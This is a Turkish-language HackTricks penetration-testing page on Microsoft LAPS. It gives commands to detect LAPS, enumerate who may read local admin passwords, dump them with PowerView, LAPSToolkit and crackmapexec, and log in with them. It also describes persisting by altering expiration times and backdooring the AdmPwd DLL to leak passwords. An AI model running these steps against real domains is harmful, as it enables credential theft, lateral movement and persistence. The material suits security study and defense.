hacktricks/windows-hardening/active-directory-methodology/laps.md

9.7 KiB
Raw Blame History

LAPS

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Temel Bilgiler

Local Administrator Password Solution (LAPS), benzersiz, rastgele ve sık sık değiştirilen yönetici şifrelerinin alan katılımlı bilgisayarlara uygulandığı bir sistemi yönetmek için kullanılan bir araçtır. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya şifre iletimlerinin güvenliği, Kerberos sürüm 5 ve Gelişmiş Şifreleme Standardı (AES) kullanılarak sağlanır.

Alan bilgisayar nesnelerinde, LAPS'ın uygulanması, ms-mcs-AdmPwd ve ms-mcs-AdmPwdExpirationTime adında iki yeni niteliğin eklenmesine yol açar. Bu nitelikler, sırasıyla düz metin yönetici şifresini ve şifrenin sona erme zamanını saklar.

Aktif olup olmadığını kontrol et

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS Parola Erişimi

Ham LAPS politikasını \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol adresinden indirebilir ve ardından GPRegistryPolicyParser paketinden Parse-PolFile kullanarak bu dosyayı insan tarafından okunabilir bir formata dönüştürebilirsiniz.

Ayrıca, erişim sağladığımız bir makinede yüklüyse yerel LAPS PowerShell cmdlet'leri de kullanılabilir:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView ayrıca şifrenin kimler tarafından okunabileceğini ve okunmasını bulmak için de kullanılabilir:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

The LAPSToolkit LAPS'in birkaç işlevle sayımını kolaylaştırır.
Bunlardan biri, LAPS etkin olan tüm bilgisayarlar için ExtendedRights'ı ayrıştırmaktır. Bu, genellikle korunan gruplardaki kullanıcılar olan LAPS şifrelerini okumak için özel olarak yetkilendirilmiş grupları gösterecektir.
Bir hesap, bir bilgisayarı bir domaine katıldığında, o ana bilgisayar üzerinde Tüm Genişletilmiş Haklar alır ve bu hak, hesaba şifreleri okuma yeteneği verir. Sayım, bir ana bilgisayarda LAPS şifresini okuyabilen bir kullanıcı hesabını gösterebilir. Bu, LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflememize yardımcı olabilir.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumping LAPS Passwords With Crackmapexec

Eğer bir powershell erişiminiz yoksa, bu yetkiyi LDAP üzerinden uzaktan kötüye kullanabilirsiniz.

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

Bu, kullanıcının okuyabileceği tüm şifreleri dökecek ve farklı bir kullanıcı ile daha iyi bir yer edinmenizi sağlayacaktır.

** LAPS Şifresi Kullanma **

xfreerdp /v:192.168.1.1:3389  /u:Administrator
Password: 2Z@Ae)7!{9#Cq

python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq

LAPS Sürekliliği

Son Kullanma Tarihi

Bir yönetici olduğunda, şifreleri elde etmek ve bir makinenin şifresini güncellemesini engellemek için son kullanma tarihini geleceğe ayarlamak mümkündür.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

{% hint style="warning" %} Şifre, bir admin Reset-AdmPwdPassword cmdlet'ini kullanırsa veya LAPS GPO'sunda Şifre süresinin politika gereksinimlerinden daha uzun olmasına izin verme seçeneği etkinse yine de sıfırlanacaktır. {% endhint %}

Arka Kapı

LAPS'ın orijinal kaynak kodu burada bulunabilir, bu nedenle kodda (örneğin Main/AdmPwd.PS/Main.cs içindeki Get-AdmPwdPassword yönteminde) bir arka kapı koymak mümkündür; bu, bir şekilde yeni şifreleri dışarı sızdıracak veya bir yere depolayacaktır.

Sonra, yeni AdmPwd.PS.dll dosyasını derleyin ve bunu C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll konumuna yükleyin (ve değiştirme zamanını değiştirin).

Referanslar

{% embed url="https://websec.nl/" %}

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}